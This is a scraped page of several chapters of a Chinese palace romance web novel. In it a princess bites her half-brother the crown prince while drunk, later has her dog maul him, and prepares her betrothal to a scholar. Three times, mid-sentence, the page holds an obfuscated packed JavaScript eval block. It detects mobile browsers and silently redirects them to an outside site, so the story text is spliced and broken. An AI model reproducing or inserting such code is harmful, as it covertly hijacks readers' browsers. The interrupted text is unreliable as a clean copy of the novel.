窄窄的一方座席上，薛柔蜷缩着双腿而卧，薄薄的眼皮子合拢，显出纤长绵密的睫毛；那之下，是小巧精致的鼻尖；再往下，一朵粉红的唇缀于瓷白面皮上，起初觉得腻，看久了，愈演愈烈，刺痛双目，难以直视。 趋利避害是人性本能，可薛怀义似乎反着来的，迎难而上，凑近些去看那张绝色面孔。 她在笑，无比眼熟的笑——讥笑，冷笑，蔑笑。 她在做梦。 她梦到了什么，是那个令她深恶痛绝的野种么？ 心底悄然升起一股好奇。 他已经许久许久没有对人对事有过好奇心了。 不知不觉间，两人之距一近再近。 薛怀义对自己说，不为别的，单想把这张每个毛孔、每道肌理都透着歹毒阴险的脸，更深刻、有力地印入记忆之中；每次挑眉、每次弯唇……一个不漏地铭记，即便那是对崔介的，出发点是善意的，饱含热忱与爱意的。 当他纵由贪念滋长蔓延之际，窝在下方的人突然爬起来，他没防备，沉沉被扑倒，脊背严严实实贴合地面，而那人，欺上他身，张牙舞爪，直冲他面门攻来。 薛怀义没来得及躲，只感觉下唇一热，紧接着视野蒙蒙灰黑下来，嘴巴热辣辣，鼻端痒酥酥。 他如梦初醒，箍着那尺软腰将人拖开，单手制住其挥动的手腕，另手触及火热滚烫的嘴唇，随即摸到了血。 薛柔的唇同样沾了鲜血。 此情此景，一个事实昭然若揭：热的是她在啃咬他；痒的是她的发丝垂坠而下，就势铺到了他的脸上。 她亲，不，咬了他。 十公主咬了太子。 薛柔咬了薛怀义。 如黄粱一梦，何其荒唐。 他猛地抬手，擦拭唇畔溢出的血，毫无章法，力大无比，越擦越多。 下嘴如此之狠，她当是恨透了他。 谁不是呢？ 不，他的恨比她的浓，浓千倍万倍。 如果可以，他会让她也尝尝暗无天日、生不如死的滋味。 薛柔烂醉如泥，尽情沉陷梦乡，好似刚刚的种种，通通是一场大梦，荒谬、可笑的梦，唯独薛怀义这个清醒的人，为它心乱如麻。 他们是兄妹，双双带着血迹出去，还是在嘴唇边上，势必激起轩然大波。 薛怀义行事谨慎，强忍怒火——明明是宿敌，她却行此不齿之举，完事以后就只有他为之失魂落魄，这不公——用自己另一边干净的袖子，俯身，一丝不苟地将她的面容恢复原有的洁净，确保没有留下任何蛛丝马迹。 “太子殿下，公主她还好吗？”三喜翘首以盼多时，迟迟不见人露面，试着催促。 闻声，薛怀义停止遐思，伸手捞起薛柔，使其依偎于自己的臂弯，面目表情地离开船舱。 终于等着人，三喜紧绷的神经舒展开来，递胳膊帮衬着把薛柔托上薛怀义的背，一路紧随，时而关切需不需要站住略加休息，均被告知不必。 一道过来，夜色缓缓低垂，及至明月爬上高空，迷蒙的视线茅塞顿开，三喜清晰所见，薛怀义的嘴角破了个口子，已结痂。 兀自琢磨不来，但熟谙不可差了礼数，三喜便出言关怀：“太子殿下，您的嘴唇似乎受伤了……” 薛怀义泰然地一“嗯”。 也许是不小心咬破了，像她自己就有蠢笨得咬着嘴唇的时候，不足为怪。 三喜说服自己。 因薛柔醉得不省人事，不便拉到交泰殿去，于是乎薛怀义做主，让薛柔回坤宁宫醒酒，他去交泰殿回明皇后情况。 一切为了薛柔着想，三喜自然服从安排。 “前面就是了，太子殿下辛苦，不妨放公主下来，奴婢自己扶公主回去。”送到宫门外，三喜觉得够了，无需有下一步了。 薛怀义不语，依言撂下背上的重量，笑对为薛柔整理额前碎发的三喜说：“设若十妹妹问起来，你尽管如实作答，不用刻意隐瞒。” 她若得知，自己曾靠在他的怀里、趴在他的肩头，身贴身，呼吸缠着呼吸，是否也会六神无主，进而彻夜难眠呢？ 以恶劣的手段对付卑劣的人，薛怀义好受不少。 深夜，薛柔捂着脑袋艰难睁眼，环顾周围，略略发懵。 她不是在小舟上的吗，几时回了寝殿？ “三喜！” 三喜就守在外间，立刻现身，庆幸道：“殿下可算醒了，再没动静，必得请太医来不行。” 脑仁一阵一阵地疼，薛柔想起来，身子犹如千斤重，堪堪跌回床榻。 “你给我捋捋发生了什么。” 看窗外天色深沉，亥时也有了，那这无意识的几个时辰，究竟怎么一回事，必须搞明白。 三喜提了把小板凳，并腿坐在床前，细细道来：“您不胜酒力，在舟里昏睡过去。娘娘多会不见您，心下忧虑，让许嬷嬷与太子殿下四处寻您……” “等等！”迷迷瞪瞪的神智因一个“太子”而幡然醒悟，“薛怀义？母后让他找我？” 三喜没来由地心虚，目光躲闪：“是……后头也是太子殿下找着您，将您……送回来的。” 三喜故意隐下薛怀义又抱又背的过程，直奔结果，意图就此翻过去，少给薛柔添些堵。 “薛怀义送的我！？”似乎有一盆凉水从头顶栽下来，浇得薛柔精神饱满、耳清目明，“你既说我醉倒了，那他如何送的我？” 三喜猜到原原本本告诉的话，她一定会动气，气不过直闯东宫也是做得出来的，因而吞吞吐吐，半晌吐不全一句话。 “说呀，你哑巴了？”薛柔翻脸无情，嫌三喜憋闷，恼斥。 三喜没办法，藏头露尾地答了——瞒下逾越兄妹之情的抱，勉强留下那一路背回来的辛劳。 薛柔怒不可遏，两眼直冒火星子，指使三喜伺候穿衣，真有打上东宫的派头。 三喜苦苦哀求：“千万不行啊，殿下……大半夜的嚷起来，后果一发不可收拾啊！” 酩酊大醉过后，又发雷霆之怒，直掏空了薛柔的身子，她顿时感觉天旋地转，身体左摇右晃，寸步难进，勉强扶墙才稳住重心。 三喜趁机搀她坐回床边，一片丹心为她考虑：“殿下现在体虚，吹不得风，而且您大张旗鼓地出去，首先娘娘那头就过不了关。今儿陛下和娘娘因为您偷偷溜走，还醉酒误事，脸色已经不大好了，都是念及您昏睡着，这才没追究。以奴婢的蠢主意，这次……就算了吧！太子殿下不也是出于好意嘛……” “他对谁都可以心怀善意，唯独对我，绝无可能！” 薛怀义巴不得她赶紧死了，焉会由衷善待她？ 他背她一路，无非是知道她恶心他整个人，借这次身体接触来怄她罢了！ “你速速准备热水，我要沐浴！” 既处处妨碍而难以出入，那就先把身子洗刷干净，改明儿时机合适，这口恶气必然加倍偿还！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521198|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原以为不缺报复回来的空子，孰料后头的每日都排得满满当当： 先要和崔家商定两家结亲的良辰吉日，拿准了以后，记下双方的生辰八字，一并叫钦天监算俩人合不合、日子好不好，统统没问题后，终于敲定今年九月初二这日先把亲事定了，待明年春天再举办婚宴；后边紧跟着制婚服、学礼仪等一系列麻烦事。 直叫薛柔忙得晕头转向，将她辖制得死死的。 大费周章下来，找薛怀义不快活的这点子，自丢下来那日便再没捡起来过。 最初是皇后自己请了教引嬷嬷教导薛柔，叵奈皇后心疼女儿，太严厉了不忍心，她又是个小孩心性——顽劣，根本潜不下心来学，今儿找机会溜溜贝贝，明儿借口头疼脑热偷几天懒，可算无病无灾的了，结果往厅里一坐，手心托腮瞄着窗外开小差，嬷嬷授的课能放入耳三成就算烧高香了。 几经波折，嬷嬷教得力不从心，薛柔倒是自得其乐，最后便造就了两三个月过去，她对各种规矩的了解一如往常，分毫没长进的现状。 休说往大场面摆设，以疼惜女儿闻名遐迩的皇后亦看不下眼，屡屡扶额苦笑。 五六七月过完，纳吉日为期不远，按住薛柔恶补课业的大任迫在眉睫，为此，皇后愁肠百结，每每在景帝枕旁长吁短叹。 景帝狠一狠心，提了个主意：论起礼仪，宫里没第二个人比太后更熟稔周全的，不若和太后通融通融，把薛柔送去进修。有太后威严镇压，相信不日便会模样大变，扭转乾坤。 太后出面截胡崔介的心结，皇后尚未抚平，不太情愿，姑且按下不表。 过了几日，眼见事态每况愈下，忍无可忍，心一横，同意景帝的提议。 景帝相托，纵太后不甚满意薛柔，亦违逆本心答应了。 如此只剩薛柔的思想工作。 左思右想，这个难题，皇后嘱托与薛通，他们兄妹无话不谈、亲密无间，这些逆耳之言由薛通讲出口，她比较容易接受。 薛通调动睿智，以崔介为突破口，规劝薛柔：“你可想通透了，崔大人端方有礼，你若一意孤行，不思进取，即便纳吉、婚礼潦草过去，以后你们过起日子来，崔大人满口学问，你一窍不通，还离经叛道，时间久了，你们俩还能凑到一起去吗？” 薛柔甩手不干了，出言顶撞：“我是招驸马，又不是到他家洗手作羹汤去了。他若有意见，大不了一拍两散，对谁都好。” 薛通被这歪门邪道的说辞逗笑，但身负重任，吊儿郎当不可取，遂正经八百地道：“反正好的坏的我都给你提过醒了，你听不听由你，只别那会真和崔大人掰了，朝我们大家痛哭流涕、满嘴悔恨就好。” 想起那清风明月般的身影，薛柔优柔寡断，归根到底舍不下，咬咬牙认了：“少拿重话吓唬我，我学就完了。” 之后的日子，于薛柔如同噩梦，苦不堪言。好在精神集中了，学起东西来突飞猛进，应对起太后检查功课的差事来，日渐如鱼得水。 看她安分已有不少时日，太后仁慈一回，准她出去逛两个时辰。 她压抑欣悦，恭恭敬敬称退。 一跨过慈宁宫的大门，本相毕露，寻了处花荫坐着，交代三喜：“你跑快点，把贝贝牵出来。那日之辱，我要趁今日讨还！” 三喜暗暗忧愁，一步三回头而去。 薛柔手搭凉棚纵目远望，可巧，于对过的树荫下逮着仇家，遥遥喊一嗓子：“薛怀义，你过这来。” 15. 寻仇 薛柔喊的是薛怀义，可程胜委实心惊，汗登时蒸了一脑门，大太阳当空照着，十分锃光瓦亮。 远远的，薛柔抱胳膊站着，脖子抻得长长的一根，头颅高高地顶起来，似乎不满足于现有的身高，一心想同中天骄阳比肩。 “殿下，奴才瞧，十公主好像来者不善呐……” 这样的对峙，程胜可太熟悉了，只是近两三个月来薛柔被拘在慈宁宫里学规矩，不见人面，自然找不了东宫的茬儿。 现今活生生放出来，那双手八成发痒难耐了…… 薛怀义却有着天差地别的心境。 这几个月，他一直静候薛柔找他算当日在小舟上的账，左等右等没动静，略一打听，合着是被提溜到太后手底下关禁闭去了，为下半年与崔介的亲事而刻苦用功，废寝忘食。 他忽然意识到，她真的快要彻底消失在他的生活中了。 他又开始重蹈覆辙，连连目不交睫。 看不见她比看见她，带给他的痛苦更胜一筹。 是什么在控制他的思想，他挖掘不出，姑且统一认作为“恨”好了。 直到今日再度狭路相逢，那种难以名状的空虚感竟得以填补，颓败化为乌有，之后就有了他笑吟吟靠近薛柔的画面。 “好久不见啊，十妹妹。” 他在笑，笑得那么无所谓，准是在为那日的趁虚而入耀武扬威！ “听你的口风，还挺想念我不成？” 薛柔展现出来的面目，在第三双眼睛－－程胜看来，与以往每一次欺凌中的讥讽嘲弄大同小异。 惟有她自己清楚，讥嘲已远不足以契合此刻之心绪，如果没有外界的各种掣肘，她绝对会指使贝贝将薛怀义扑倒，一口一口地撕咬开来，就着他如泔水般恶臭的血，把他从头到脚生吞活剥了去。 薛怀义坦诚道：“皇祖母严格非常，妹妹自在惯了，乍然拘管起来，一定吃不消。每每思想到这，我便替妹妹揪心不已。” “够了！”薛柔两只眼睛将近把他盯穿，“扮演这套，你不累我还嫌恶心。我问你，那天在桐花台，你擅自来寻我，还趁我不觉，行那等恶俗之事……你是活腻歪了么？” 她分出一些注意力，查看三喜回没回来，但见去时的路萧条寂寥。 她暗骂三喜吃干饭，关键时候真靠不上！ 程胜大惊，两颗眼珠子瞪得老大，仿佛在眼眶里待不住，紧盼望着逃之大吉。 那日宫宴上，太子先行离席，敢情是奔十公主去了？ 这倒尚可理解，可十公主声称的“恶俗之事”，又该如何寻思？ 程胜恍惚追忆起书房案头叫风掀落的那幅丹青，画有十公主的丹青。 莫非…… 不可能，绝对不可能！ 程胜忙忙唾骂自己思想龌龊，多大的胆子，又长着几个脑袋，居然敢造太子殿下和十公主的谣言？ 罪过罪过…… 薛怀义容颜不改：“何谓恶俗？妹妹又何出此言？” 薛柔嗤之以鼻：“这会扮起无知来了？谁允许你背我走的？” 彼时的境况，在薛怀义的梦境中不计其数地闪现过，泛滥成灾。 只是背吗？ “妹妹就是为此而恼怒么？”如果有面镜子，他注定因自己眸间稍纵即逝的失望，而错愕片时。 薛柔恼羞成怒，暴跳如雷，假如不是忌讳跟他肢体接触，恨不得立即冲上来撕烂他：“不然，你还妄想得寸进尺么？” 果真仅此而已啊。 混着血液啃咬的片段，果然偏偏钟爱钻入他的睡梦，化作笼罩他的梦魇，无休止地折磨他而已。 始作俑者，罪魁祸首，就这么忘怀了，始终不痛不痒。 “妹妹既怪我，那便任凭妹妹发落吧。”薛怀义静静望着她，死气沉沉。 “别搞得大义凛然的，像是我无缘无故欺负你一样。你罪有应得。”薛柔一面放狠话，一面掐算时辰，正过来颠过去地估计，三喜应该不远了。 如她预计，三喜全力拽着狗链子引贝贝出现。 以防薛柔分心，太后命她搬慈宁宫住下，她唯唯诺诺，是以小三个月未与贝贝谋面了，可谓日夜惦记，思念成疾。 时隔多日重聚，喜不自胜，忙弯身子招呼贝贝：“贝贝快来！” 贝贝通人性，四蹄飞奔，一头扎入香怀，尾巴左一圈右一圈地摆动，嘴巴张开伸出舌头，舔舐主人的手背。 换以前，薛柔一百个嫌弃这乱流的涎水，定然当头拍贝贝一掌。 今时心心念念重逢，一万个舍不得打它，忍将下来，不停手地抚摸它头，又向三喜讨来肉干，奖励它。 毕竟，待会有硬仗要打，吃饱喝足才打得更漂亮。 待相思解得差不多，打眼从头看到脚，衣襟至袖口，滚了一身的毛，薛柔顾不上收拾，手指冷眼旁观的薛怀义发号施令：“贝贝，去咬他，下嘴狠一点，让他多流点血，但别弄出人命来。” 烈犬终归是烈犬，好斗，宫中豢养，多有不便宜，难以肆意释放烈性，眼下一得主人的允准，那双棕铜色的眼珠子大放亢奋之光，解开锁链的刹那，纵身一跃，对着薛怀义的裤脚拼死撕扯。 程胜吓得魂飞魄散，鬼哭狼嚎，但他越哭嚎，贝贝的斗性越高涨，两只爪子爬上薛怀义的膝盖，直立起来攻击他。 “太子殿下，您倒是躲一躲啊！” 程胜直纵横躲闪，薛怀义纹丝不动，衬得前者似个疯子。 底下攻势过猛，薛怀义有些力不能支，堪堪倒退半步，程胜心系东宫，抛下所有顾虑，挥起拂尘照着那血盆大口鞭打不休。 薛怀义从中阻挡，干脆把胳膊送至贝贝嘴边，由尖锐犬齿刺破衣裳，刺穿血肉。 须臾，一块浸血衣料割离薛怀义，成为贝贝的战利品，即时叼给薛柔讨赏。 薛柔睨一眼薛怀义的狼狈相，观其小臂血淋淋的一截，存积许久的怨气消解大半，有工夫问三喜时辰。 三喜答说近午时了，太后允许的空闲为时不多了。 她颔首，回头命令贝贝将那脏东西吐了，接着说：“薛怀义，这次且先饶过你，你自己掂量着，切勿不识抬举。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521199|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那伤口犹如泉眼似的，汩汩淌落血水，染红了脚下的地砖。 程胜惊恐万状，手忙脚乱欲止血，怎敌血沫子遍布整条胳膊，根本无从下手，惟好一把鼻涕一把泪哀求入定般的薛怀义，速回东宫包扎处理，就剩跪下磕头了。 他傻子似的不动弹，随便血流成河，薛柔可不稀得理睬他，左右血流干了，那也算他活该，叫上三喜贝贝，潇洒走人。 “别嚎叫了，我没聋。”薛怀义很是凉薄道。 相较于肉｜体的疼痛，耳畔环绕不绝的哭天喊地更令人心烦。 又是一个深夜，东宫书房的窗格一如既往散出点点暖光。 笔触划过纸面，沙沙作响——薛怀义又在作画，仍是那张隐约泛黄的纸张，仍是那幅细腻的丹青。 丹青尚未着色，仅以素笔勾勒完全人脸，纵然黑白无色，那人物颇为传神，这也便是程胜只飞快一眼就认准其上何许人的因由。 持续一年半之久的素笔人像，终于这夜打磨完毕。 薛怀义掷笔，对着它深深端详，一直深进骨子里。 灯芯一跳，烛光暗了一层。 薛怀义理清头绪，安放画纸，铺得平平的，不见一丝皱褶——该上色了。 案头未准备彩墨，他也不觉妨碍，本来也没打算用墨水点染它的色彩。 它已经够冷漠的了，不能继续使用沁着凉意的墨增色。 他的目光朝向裹得蚕蛹似的胳膊。 以血色勾勒，将温热带给那片本应殷红的唇，岂不完美还原了它曾附着在自己唇际的温度。 他记得真切，那个血腥味的触碰是温的，比那两瓣唇的主人的心暖和。 念既起，薛怀义迫不及待去亲手赋予它属于自己的温度。 于是，他一层层一圈圈揭开纱布，使底下可怖的真容得见天光，使才粘上的裂口生生撕开，朱红的、新鲜的血液，恢复它原有的生机，一泻而下。 一套七支的上等画笔，被他弃之不用，干干净净躺在笔山上。 它们的用途，为薛怀义的一招奇思妙想，加诸他的指尖——他蘸着血，指腹点于那缺失色彩的圆唇上，向左向右，仿佛真的在摩挲一个人的嘴巴。 当血迹将将污染锦袍之际，指际的血干涸成血斑，薛怀义拿开手，垂睫观瞻那朱红一片，眉眼蕴笑。 是的，正是这样，那天她的唇便是此态。 一个诡谲的念头荡漾开来：不知今日的血和那日的，尝起来相不相同。 狂风大作，吼得院里梧桐树前倾后倒，梧桐枝叶细密，逆月映入窗台，在整洁的书案上投下一戳戳尖尖的影子，摇摇曳曳。 细碎的阴影下，薛怀义擎起画纸，拿近脸前，口鼻盈着笔墨香并血腥气。 随即，不惜“以身涉险”，轻轻衔住那点赤色。 苦涩之中撷丝丝咸味，仿若塞了把铁锈到嘴里咀嚼，与那天的不一样，没有甜，没有温度，只有倒胃口的腥膻。 他的血是热的，而拼凑到那张脸上的，从头到尾都是凉的。 失败了。 16. 中秋 一晃中秋来临，薛柔捡着便宜，太后给她放了两天假，许可她回坤宁宫与帝后团圆，共度佳节。 往年中秋宴，翻来覆去就那么些花样，一来二去地腻了，皇后建议，景帝首肯，倒不如省却把人们叫过来围在一间屋子里束缚着的流程，直接下个恩典： 有儿女的和儿女过，形单影只的则互相凑个数。没一大堆规矩须要墨守，各自便宜，心里也自在。 似初一、十五这类的重要日子，景帝无一例外都要到坤宁宫过夜。 趁此东风，薛柔对着景帝好一顿诉苦，景帝不大会安慰人，只问她中意什么，甭管稀有难得，一准满足她。 薛柔窃喜，将早早盘算好的条件提出口：“据说民间有位青山先生，作画一流，每两年才作一幅画，价值连城。儿臣就想瞻仰瞻仰这青山先生的作品，奈何没有渠道，便拜托父皇啦。” 初出茅庐的小狐狸哪哄骗得过久经世事的老狐狸。 “你不爱念书不爱写字，怎的突然开窍，想起来欣赏名家画作了？”景帝呷一口凉茶，揶揄道。 薛柔自知露出马脚，仍脸不红心不跳道：“父皇好没道理，儿臣只是不喜欢诗书，又不是认不得看不懂……那画儿噱头那么大，供不应求的，指定有过人之处，儿臣是个俗人，拿来解解好奇心不成吗？” 听女儿的话越说越密，景帝收起玩笑之意，正经道：“也是赶巧了，前儿朕刚淘来一幅《春山行》，你既张口，那朕只好忍痛割爱了。” 正说时，许嬷嬷擎一盘月饼端上桌，笑言：“陛下和殿下说了这些话，竟一口月饼也没尝尝。不若先吃一块吧，不然皇后娘娘白忙活了一下午。” 一盘子六块月饼，统共三个味：五仁馅的、玫瑰馅的、豆沙馅的。 前两种是景帝和薛柔的口味，最后一种，薛柔依稀记起一件事：前年薛怀义上坤宁宫过中秋时，嘴巴里嚼的恰是豆沙馅的月饼。 母后这是什么意思，今年还打算叫薛怀义来一起过节么？ “嬷嬷，这豆沙馅的月饼，是给谁备下的呀？”景帝在对面掰了一小块月饼入口品味，薛柔不好声张，俏生生地试探。 许嬷嬷光知公主太子平时走动不多，权当他们两个闹小孩子脾气，全然料想不到事态会严重至水火不容的地步。 至于薛柔频频欺辱薛怀义的情形，宫里大概只有二薛及各自的奴仆——三喜、程胜了解。 这得益于薛怀义本人对此守口如瓶，每每伤痕累累，别人问起来，均已各式各样的原因掩盖弥彰。 因他找的理由适合且不离谱，一直以来竟无一人起疑。 “娘娘关照太子殿下吃不惯其他口味的，便特意做了些豆沙馅的，等一会吃完螃蟹宴，多余的叫人打包回东宫。太子殿下爱吃这个，随吃随有。”许嬷嬷慷慨解答。 薛怀义的存在，直接影响到了薛柔的口腹之欲，眼皮子底下那碟色相极佳的月饼，顿时丧失了诱惑力。 “那太子几时过来？” 父皇近在咫尺，面子功夫且得做到位，她可不想被耳提面命地纠正个没完没了。 许嬷嬷仰望夜幕中高高嵌着的银盘，说：“半个时辰前捎的信儿，估摸着就快到了。” 薛柔膈应薛怀义，扭头和景帝有商有量：“父皇，螃蟹生冷，不好消化，再者儿臣中午吃多了食，肚子里胀胀的，再吃恐拉肚子，那螃蟹宴儿臣就不一起了。横竖儿臣空闲，不妨叫福公公寻出那幅画儿来，儿臣赏玩着打发时间。” 好好的一次团圆饭，偏偏缺一个人，景帝最开始不同意，后头顶不住她撒娇卖乖、死缠烂打，松口放她去了。 “三喜，你随福公公去取，我口有些干，回屋子喝杯水。”薛柔井井有条地安排。 口渴是托词，真相是，现在置身的抄手游廊乃进出坤宁宫的必经之路，她实在不想碰上薛怀义，而扫自己的兴，宁肯痛快点避开，是为眼不见心不烦。 三喜脑子不算机灵，手脚却灵活，满打满算不到半个时辰，完成了一来一回的路程，横抱一个老长的朱漆盒子复命。 薛柔当心着打开，平展在桌上，惊叹连连：“不愧是抢手货，看着真真赏心悦目。” 三喜纳闷一个晚上了，四下无外人，便问：“殿下求它来有什么用处吗？这屋子里好像也没地方去挂它呀……” 薛柔偏爱一切华丽炫目的玩意，房间到处陈设着各类摆设、饰物，令人眼花缭乱，十足担得起华而不实的名头。 这画珍贵，薛柔万分善待它，卷起来的时候动作轻上加轻，生怕磕坏碰坏。 瞧她珍重至此，三喜益加古怪了。 “不是给我挂。”薛柔将画儿原路搁回去，使唤三喜拿方干净帕子过来，三喜不明就里，糊里糊涂照做，但见她擦拭起放画的木盒子来，上下左右，里里外外，格外细致，“小崔大人识货，赠给他的。” 三喜一时豁然，笑嘻嘻道：“怨不得您把它宝贝，不对，您是把崔大人当宝贝看呀！” 薛柔啐一口，笑骂：“再胡说，自己去廊下扇二十嘴巴子赎罪。” 三喜告饶不迭，薛柔开玩笑的，不动真格。 待将盒子擦得光滑明亮，悉心吩咐：“明儿一早，你到金銮殿外侯着小崔大人，亲手把它送出去，勿忘了告诉他，这是我费了好大的力气才得手的，很贵重，千金难买。” 三喜咧嘴回应：“任它再金贵，也金贵不过您的心意。” 从娘胎里落下来，没哪个人，还是个男人，有本事令她上心到这步田地。 毫无疑问，她动心了。 骤然揭破这层，她有些难为情：“死丫头，一套套的村话打哪学来的，仔细哪日叫皇祖母逮着，你要挨板子的！” 三喜笑得直不起腰。 薛柔受感染，也笑弯了眼。 此间欢声笑语不停歇，彼处，螃蟹宴上，沉默严肃。 皇帝与东宫之间的关系，历来逃不开“矛盾”二字。 前者以皇权独尊，后者专等着有朝一日天子殡天，承继大统；整天站着个人巴不得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521200|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早日驾鹤西去，一举接自己的班，换做是谁都难以保持平常心。 总僵着不像话，景帝克服那股子别扭，音调平直：“胳膊怎么伤的。” 平得不似疑问句。 薛怀义起身回话：“儿臣练习射箭，不注意箭脱了弓，射偏了，刚好擦着胳膊飞出去的。皮外伤，无伤大雅。” 景帝摆手令他坐下，不痛不痒说了句“下次专心些。”没有父亲对儿子的关怀，有的只是君臣间的礼尚往来。 如是适可而止的对话，皇后视为家常便饭，许嬷嬷见怪不怪，薛怀义习以为常，仿佛天底下的父子本该就是这样的。 “吃螃蟹吧，放久了快凉了。” 薛柔不在，皇后怏怏不乐，无心多言。 隔天，三喜提前蹲守于宫门外。 接近卯时，文武大臣陆续出现，自觉排队入朝。眼瞅队伍越拖越长，却总不见目标，三喜又急又疑，转头询问一道来的四庆：“什么时辰了？” 四庆答卯初一刻了。 三喜揉揉发红的鼻尖，小声嘟哝：“崔大人这么不守时吗？按他的品格，不应该啊……” 自个嘀咕着，四庆扯住衣袖说：“来了来了，崔大人来了！” 三喜凝睛确认是崔介本人，拔腿小跑去，还不敢跑太快，得时时顾着怀里的宝贝。 “崔大人万福。” 崔介记得三喜，粉白的面颊霎时划过错愕：“姑娘寻我？” 前头的队伍余一大截，有细细道来的时间，故而三喜详尽说明意图，最后把宝贝献出：“此乃公主独一无二的心意，万望崔大人妥善保管。” 今日崔介是最后一个赶到的，跟在长龙的末端，无人打搅。 即便有人，一提薛柔，姑且避之唯恐不及，更不会掺一脚凑热闹。 崔介说：“请姑娘稍后拿与我的小厮云澜就好。还得劳姑娘替我向公主传个话：‘微臣必将视若瑰宝，珍之爱之。’” 三喜喜庆相识一眼，皆读懂了对方眸子里的仰慕、敬佩。 不愧为状元郎，出口不俗，一字一词俱彰显着文人风骨啊！ 妥帖交付完毕，三喜四庆手挽手回去交差。 “他的原话是什么，复述一遍。”薛柔簪子别到一半，闻之，暂撇开不管，转头盯着二人的脸面，兴致勃勃道。 三喜好赖跟随薛柔受过学堂的熏陶，认得些许字，懂得些许道理，四庆则不然，只辨别得出自己的名字，转述崔介有水准的承诺之任务，自然而然由三喜肩负：“崔大人说：‘微臣必将视若瑰宝，珍之爱之。’” 分明是三喜在讲话，薛柔却不费吹灰之力地想象得出崔介说这些话时的表情、语气： 睫毛轻轻覆下，遮去半边眼睛，难辨真色；嗓音沉淀着历经大风大浪的平和持重，可信，可靠。 崔介，崔明夷……属于他的所有，化为一波又一波的浪潮，汹涌拍打着她的心防。 她想，以“心动”一词来呈现此时的心境远远不够，大约“沦陷”才够。 17. 野心 不知不觉到了九月初二，崔家派人送来婚书，上书有崔介的姓名、门第、生辰八字等关键信息，皇后先行展开过目，确认无误，转手于早已眼巴巴的薛柔。 帖子上的字遒劲有力，笔锋犀利，尽管她不曾见过崔介本人的字迹，却有种直觉：这应当不是他所写就——他那样儒雅谦和，笔下的字合该是端正清秀的楷书。 她推断属实，这婚书出自崔介父亲崔寿之手。 并非崔介写不来，而是婚姻大事，只有生身父母才可做主，一脉相传，婚书亦不例外。 至于薛柔这边的婚书，自有景帝主持，早两日抽了个傍晚，伏案一挥而就。 皇后叫许嬷嬷把薛柔的婚书交给崔家人，崔家人毕恭毕敬收好，又奉上一个木匣子，意思是崔介所赠与薛柔的信物。 薛柔眼睛一亮，打开匣子，俨然一枚玫瑰金簪安然躺于内。 执手端量半晌，她欣喜道：“我正好缺一支玫瑰簪子呢，这就送来了，崔大人有心了。” 余夫人身边的邝嬷嬷喜道：“公主欢喜，我们家少爷一个来月的辛苦也值得了。” 薛柔灵敏，抓住关键点，反问：“崔大人一个月的辛苦？怎么一回事？” 邝嬷嬷打开话匣子：“怪奴婢没把话说清楚，该打该打。少爷他得知纳吉日需要赠予公主信物以后，特别上心，筹算亲手打磨一支发簪，先四下打听了一圈您素日喜好的样式，后边就开始上手制作。公主也知情，少爷他白日在翰林院当值，总是天黑透了才回家，一日下来，全凭夜里赶工，每天丑时过后才肯歇下，家里人都担心少爷吃不消呢。万幸这簪子做好了，做工很是精美，不输外面铺子里卖的，您又中意，果真不枉少爷熬这么久。” 薛柔第一次有耐心听完别人的长篇大论，感动不已，掌心的簪子陡然变得沉甸甸的，险些没能托住。 他竟然对自己如此重视，不惜耗时耗力，只为讨她欢心…… “那崔大人他身子还好吗？”喉咙像被什么堵住了，发出来的声音哑哑的、闷闷的。 邝嬷嬷说：“少爷他底子好，又年轻，一切都好，请公主宽心。” 薛柔忽然生发出一种想见崔介的冲动，无奈礼法在前，越是定了亲的男女，越得避嫌，不到万不得已不见面，直到大婚之日方可大大方方面对面。 “他平安就好。” 薛柔紧紧攥住簪子，因崔介数十个日夜的雕琢，生冷的金钗仿佛染了温度，手心连同心窝，暖洋洋的。 脑子里突然冒出一茬子，薛柔忙问：“他给了我信物，我是不是也得给他？” 信物信物，彼此交换的才叫信物。 却是皇后予以肯定的答复：“是这么个理。” 最近皇后忙得团团转，人也跟着糊涂了，明明白白忘记提醒薛柔需交换信物这回事了。 一想到崔介良苦用心，而自己两手空空，薛柔既着急又惭愧，搜肠刮肚地思索该还个什么物件，万幸让她想成了。 “三喜，你快去我屋子里，把去年我从三哥哥住处顺来的那柄湘妃竹扇子取来。” 她的东西左一样右一样的，堪称车载斗量的程度。 三喜短时发愣，极力回忆那扇子的模样。 薛柔急脾气犯了，没好气道：“博古架最上层靠右手边的格子里，印着水墨山水的那把！” 三喜豁然开朗，追着秋风而去，又被秋风推着返回。 将扇子递与邝嬷嬷，薛柔说：“就它合适，希望崔大人喜欢。” 